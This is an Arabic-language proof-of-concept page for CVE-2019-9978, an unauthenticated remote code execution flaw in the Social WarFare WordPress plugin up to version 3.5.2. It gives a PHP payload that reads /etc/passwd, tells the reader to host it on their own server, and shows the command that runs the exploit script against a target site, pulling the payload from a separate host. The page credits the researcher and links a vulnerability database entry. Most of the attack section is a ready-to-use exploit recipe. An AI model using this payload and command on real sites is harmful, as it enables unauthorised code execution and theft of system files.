CVE-2019-9978

CVE-2019-9978 - (PoC) RCE في إضافة Social WarFare (<=3.5.2)

الوصف

تم اكتشاف تنفيذ تعليمات برمجية عن بُعد غير مصدق عليه في وظيفة معالجة استيراد الإعدادات. يمكن للمستخدم استغلال RFI للوصول إلى RCE.

إثبات المفهوم

انسخ الحمولة التالية:

<pre>system('cat /etc/passwd')</pre>

احفظها باسم الملف: payload.txt ثم ارفعها على خادم. يجب أن يبدو الرابط على الشكل: http(s)://yoursite.com/payload.txt. أخيرًا، زود الخيارين --target و --payload-uri:

$ python cve-2019-9978.py --target http://vulntarget.com \
                         --payload-uri http://yourpayloadsite.com/payload.txt

Screenshot at 2019-05-03 11-15-02

الاعتمادات

الباحث: Luka Sikic
الرابط: https://wpvulndb.com/vulnerabilities/9259?fbclid=IwAR2xLSnanccqwZNqc2c7cIv447Lt80mHivtyNV5ZXGS0ZaScxIYcm1XxWXM
المؤلف: @hash3liZer

CVE-2019-9978

الأكثر شعبية

CVE-2019-9978

الوصف

إثبات المفهوم

الاعتمادات